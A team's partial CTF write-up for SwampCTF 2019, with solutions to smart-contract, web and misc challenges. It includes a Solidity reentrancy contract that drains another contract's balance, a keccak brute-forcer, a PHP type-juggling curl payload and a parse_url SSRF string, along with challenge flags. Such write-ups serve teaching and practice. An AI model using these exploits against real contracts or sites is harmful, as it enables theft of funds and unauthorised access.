SwampCTF 2019
Pwn, RE, Web & More

This is the partial writeup for the challenges presented in this year’s SwampCTF.


Crypto

We Three Keys

4096

Brainwallet

Communique


PWN

Heap Golf

Dream Heap

Wetware

Wetware 2

Bad File

Serial Killer


Forensics

Neo

Leap Of Faith

The Cyber War Continues

Cartographer’s Capture


Misc

Welcome!

Welcome to SwampCTF! The first round is on us 🍻

As the challenge info says, these are just free points!

🏁 flag{w3lc0m3_t0_th3_SwAmP}

Last Transmission

NIT

Ghidra Release

[Meanwhile at the NSA on a Friday afternoon]
Manager: Hey, we’re going to be releasing our internal video training for Ghidra and we need you to watch it all to flag any content that needs to be redacted before release.
Manager: The release is next Monday. Hope you didn’t have any weekend plans!
You: Uhhh, sure bu-
Manager: Great! Thanks. Make sure nothing gets out.
You: … [looks at clock. It reads 3:45PM]
You: [Mutters to self] No way am I watching all of this: https://static.swampctf.com/ghidra_nsa_training.mp4

The linked video presents you with 15h30m of rolling text, most likely a video version of Ghidra’s documentation:

Ghidra release

We know that our flag is somewhere in there and, since watching the entire video is not an option, the best course of action could be to slice the video into single frames and analyze them with an OCR engine. The flag’s format is known - flag{[a-zA-Z0-9_-]{12,40}} - so grepping for it will be easy.

The first step is to extract the video’s frames: parsing them all would need too much time and resources, so a sample needs to be taken every nth one. Doing so with ffmpeg is trivial:

$ ffmpeg -i "ghidra_release.mp4" -vf fps=1/5 ./frames/frame_%05d.jpg

The fps= parameter controls the sampling frequency: 1 means a frame every second, 1/60 one every minute, 1/600 one every ten minutes and so on. If the flag isn’t found at the end of the process, decreasing this value can be helpful.

Next on: feeding the frames through the Tesseract OCR engine, waiting for the process to finish, and then grepping through the output - keeping in mind that the flag could be segmented between two files and that shell globbing usually sorts matching files alphabetically:

$ for f in ./frames/frame_*.jpg; do echo "*** Processing $f"; tesseract "$f" "./ocr/${$(basename $f)%.jpg}.txt"; done
$ cat ./ocr/frame_*.txt | grep -E 'FLAG\(.*\): \S*'

🏁 flag{l34kfr33_n4tion4l_s3cur1ty}

Needle-Eye’s Apprentice


Smart

The following challenges were based on Ethereum smart contracts.

Multi-Owner Contract

My friend wanted to create a new type of ownable contract where multiple people can be owners. However, when he deployed it for his token sale, someone managed to add themself and many other owners and they minted tons of their own tokens! Luckily the sale hasn’t started yet, help him find the bug so he can deploy a new contract and save his ICO.

pragma solidity ^0.4.24;

contract Ownable {

    event OwnerAdded(address);
    event OwnerRemoved(address);

    address public implementation;
    mapping (address => bool) public owners;

    modifier onlyOwner() {
        require(owners[msg.sender], "Must be an owner to call this function");
        _;
    }

    /** Only called when contract is instantiated
     */
    function contructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
        owners[msg.sender] = true;
    }

    /** Add an owner to the owners list
     *  Only allow owners to add other owners
     */
    function addOwner(address _owner) public onlyOwner {
        owners[_owner] = true;
        emit OwnerAdded(_owner);
    }

    /** Remove another owner
     *  Only allow owners to remove other owners
     */
    function removeOwner(address _owner) public onlyOwner {
        owners[_owner] = false;
        emit OwnerRemoved(_owner);
    }

    /** Remove all owners mapping and relinquish control of contract
     */
    function renounceOwnership() public {
        assembly {
            sstore(owners_offset, 0x0)
        }
    }

    /** CTF helper function
     *  Used to clean up contract and return funds
     */
    function killContract() public onlyOwner {
        selfdestruct(msg.sender);
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns(bool) {
        return owners[msg.sender];
    }

}

This first ETH challenge was quite easy even for somebody who never worked with Smart Contracts before, it just needed some fine grained research (and setting up the development environment, which wasn’t so straightforward as well for a novice).

The vulnerability lied in a malformed constructor:

/* Only called when contract is instantiated */
function contructor() public payable {
    require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    owners[msg.sender] = true;
}

Having been prepended with the function keyword, this was no more a constructor but instead a publicly callable function; as such, it could be exploited to gain Owner status by just sending 0.5 ETH its way.

🏁 flag{3v3ryb0dy5_hum4n_r34d_c10s31y}

Hash Slinging Slasher

Try to guess the random number I chose. I’ve hashed the value before storing it in the contract so you can’t cheat! You’ll never figure this one out :)

pragma solidity ^0.4.24;

contract HashSlingingSlasher {

    bytes32 answer = 0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1;

    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    }

    /** Guess the hashed number. Refunds ether if guessed correctly
     */
    function guess(uint16 number) public payable {
        require(msg.value == 0.25 ether, "Must send 0.25 Ether");
        if(keccak256(abi.encodePacked(number)) == answer) {
            msg.sender.transfer(address(this).balance);
        }
    }

    /** Returns balance of this contract
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

}

The guess function takes a number, encodes it via abi.encodePacked and then hashes it via keccak256 (Ethereum’s hashing algorithm, a SHA-3 variant that predates its final and official release).

Since guess takes its input as an uint16, the keyspace for a bruteforce attack would be composed of single integers in the range {0..65535}. No fuss with any modern processor! The encoding function can be replicated as well: it is equivalent byte-casting.

Due to this additional encoding needed before hashing, using cracking tools like Hashcat became too cumbersome and instead we rolled our own bruteforcer:

#!/usr/bin/env python3

import sha3  # pip install pysha3
import struct
import sys


def hash(packed):
    """
    Compute the Keccak256 has of a string/byte/packed object.
    """
    k = sha3.keccak_256()
    k.update(packed)
    return k.hexdigest()


def iterate(endianness, min_n, max_n, target):
    """
    Iterate from min_n to max_n, pack the number with the given endianness,
    hash it and compare it with the target.
    """
    for i in range (min_n, max_n+1):
        print("*** Trying {} ({} endian)...".format(i, endianness), end='\r')
        packing_fmt = '<H' if endianness == 'little' else '>H'
        packed = struct.pack(packing_fmt, i)
        hexdigest = hash(packed)
        if hexdigest == target:
            print("\n>>> FOUND! {} <<<".format(i))
            print("\tTarget: {}".format(target))
            print("\tHashed: {}".format(hexdigest))
            print("\tPacked: {}\n".format(packed))
            return
    print("*** No matching hash found.")


def main():
    if (len(sys.argv) < 4):
        print("Usage: ./crack_keccak.py {TARGET_HASH} {MIN_N} {MAX_N}\n")
        quit(1)

    target = sys.argv[1]
    min_n = int(sys.argv[2])
    max_n = int(sys.argv[3])
    print("*** Targeting hash: {} with keyspace {}-{}\n".format(target, min_n, max_n))

    iterate('little', min_n, max_n, target)
    iterate('big', min_n, max_n, target)


if __name__ == '__main__':
    main()
$ ./crack_keccak.py ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 0 65535
*** Targeting hash: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 with keyspace 0-65535

*** Trying 6452 (little endian)...
>>> FOUND! 6452 <<<
	Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Packed: b'4\x19'

*** Trying 13337 (big endian)...
>>> FOUND! 13337 <<<
	Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Packed: b'4\x19'

At first endianness wasn’t accounted for in this solution and numbers were only packed as little endian, but since 6452 didn’t get us the flag the second endianness check was implemented and indeed the right number to feed to guess turned out to be 13337.

🏁 flag{0n_th3_b10ckch41n_3v3ryth1ng_15_pub1ic}

Refundable Purchase

I’ve created a contract to make buying items online safer! (for the buyer at least)
The funds stay in escrow in the contract until the buyer has received the item, in which they report they’ve received it (people are always honest, right!?).
If they never receive the item, they can call refund to return their spent ether.
Find a way to drain this contract of all pending refunds.

pragma solidity ^0.4.24;

contract RefundablePurchase {

    event Refund(address, uint256);
    event PurchaseCompleted(address, uint256);

    address owner;

    mapping (address => uint256) public refunds;

    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    }

    /** Fallback function, called when contract receives Ether without data
     */
    function () external payable {
        require(refunds[msg.sender] + msg.value > refunds[msg.sender]); // Overflow guard
        refunds[msg.sender] += msg.value;
    }

    /** Refunds sent Ether
     */
    function refund() public {
        require(refunds[msg.sender] > 0);
        uint256 amount = refunds[msg.sender];
        msg.sender.call.value(amount)("");
        refunds[msg.sender] = 0;
        emit Refund(msg.sender, amount);
    }

    /** Call this function once you've received your purchased item
     */
    function completePurchase() public {
        require(refunds[msg.sender] > 0);
        uint256 amount = refunds[msg.sender];
        refunds[msg.sender] = 0;
        emit PurchaseCompleted(msg.sender, amount);
    }

    /** Returns balance of this contract
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

}

As the isComplete() function says, we must somehow completely drain the initial balance with which the contract is deployed.

Analysing the contract we see that any balance received is processed in the fallback function and then added to our refund amount variable, which is mapped to our address (msg.sender). Afterward we can either confirm the balance sent (completePurchase()) or get it back (refund()).

Examining the refund() function in particular we see there’s a vulnerability we can exploit.

/** Refunds sent Ether
*/
function refund() public {
    require(refunds[msg.sender] > 0);
    uint256 amount = refunds[msg.sender];
    msg.sender.call.value(amount)("");
    refunds[msg.sender] = 0;
    emit Refund(msg.sender, amount);
}

There’s a combination of msg.sender.call.value(amount)(""); that does not take into account the gas limitation, and the reset of refunds that occurs only after the transaction has been processed. In this situation we can make a so-called Reentrancy Attack.

Let’s create another smart contract that interacts with the deployed RefundablePurchase one (hereinafter referred to as ‘main contract’). We’ll need to write a function that receives balance, sends it to the main contract and then claim it back calling refund(). To complete the exploit, only remains to create a fallback function that once again calls the refund() method.

The fallback function is going to be triggered when in the main contract the balance is sent back through msg.sender.call.value(amount)("");. This is where the reentrancy attack occurs because there’s a loop that repeats until the balance is drained. One implementation could be as follows:

pragma solidity ^0.4.24;

import "./RefundablePurchase.sol";

contract DrainRefundable {
  RefundablePurchase public atAddress;

  constructor (address deploymentAddress) public {
    atAddress = RefundablePurchase(deploymentAddress);
  }

  function () public payable {
    if (address(atAddress).balance >= msg.value) {
      atAddress.refund();
    }
  }

  function drain() public payable {
    address(atAddress).call.value(msg.value)();
    atAddress.refund();
  }
}

After calling the drain() function of the deployed ‘DrainRefundable’ smart contract with 0.5 ETH, a quick check at the function getBalance() returns 0, therefore calling isComplete() returns true.

🏁 flag{c411_15_n0t_s4f3_w1th_n0_g45_1imit}

Loan Bank


Reversing

Future Fun


Web

DataVault

Andrew, a data courier and PHP diehard, has secret data that he can’t have falling into the ZaibatsuCorp’s hands.
Fortunately, we’ve established an online datalink with his wetware.

We’ve exposed the module’s access interface here: chal1.swampctf.com:1233

Can you bypass his CraniumStorage security module before he wakes up?

DataVault index

Looking at source and cookies wasn’t helpful. It’s only a bare page with an input box. Trying common SQL injections also gave no result.

Since our input is compared using PHP (as the ctf introduction suggested) a Type Juggling Bug may have been made. This was actually the case since making a POST request and changing ‘password=’ parameter to an array ‘password[]=’, resulted in the site giving as the flag.

curl http://chal1.swampctf.com:1233/ -d "password[]=" | grep -Eo "flag{.*}"

🏁 flag{wHy_d03S-php_d0-T41S}

Brokerboard

It’s the year 1997 and the Internet is just heating up! :fire:

In order to get ahead of the curve, SIT Industries® has introduced it’s first Internet product: The Link Saver™. SIT Industries® has been very secretive about this product - even going so far to hire Kernel Sanders® to test the security!

However, The Kernel discovered that The Link Saver had a little bit of an SSRF problem that allowed any user to fetch the code for The Link Saver™ from https://localhost/key and host it themselves :grimacing:. Fortunately, with a lil’ parse_url magic, SIT Industries® PHP wizards have patched this finding from Kernel Sanders® and are keeping the code behind this wonderful site secure!
… or have they? :wink:

chal1.swampctf.com:1244

The given URL replied with a pretty standard form, the source wasn’t giving out any interesting hints:

Brokerboard init

Feeding in URLs worked as expected:

Brokerboard expected

Since the backstory of the challenge pointed to PHP’s parse_url function, it was enough to find an interesting known vulnerability that enabled users to feed malformed data to it: the string https://born2scan.github.io:80#@localhost/key would be splitted on the hash and the second part would be evaluated without checks.

Brokerboard malformed

🏁 flag{y0u_cANn0t_TRU5t_php}

*****
Written by born2scan Team on 08 April 2019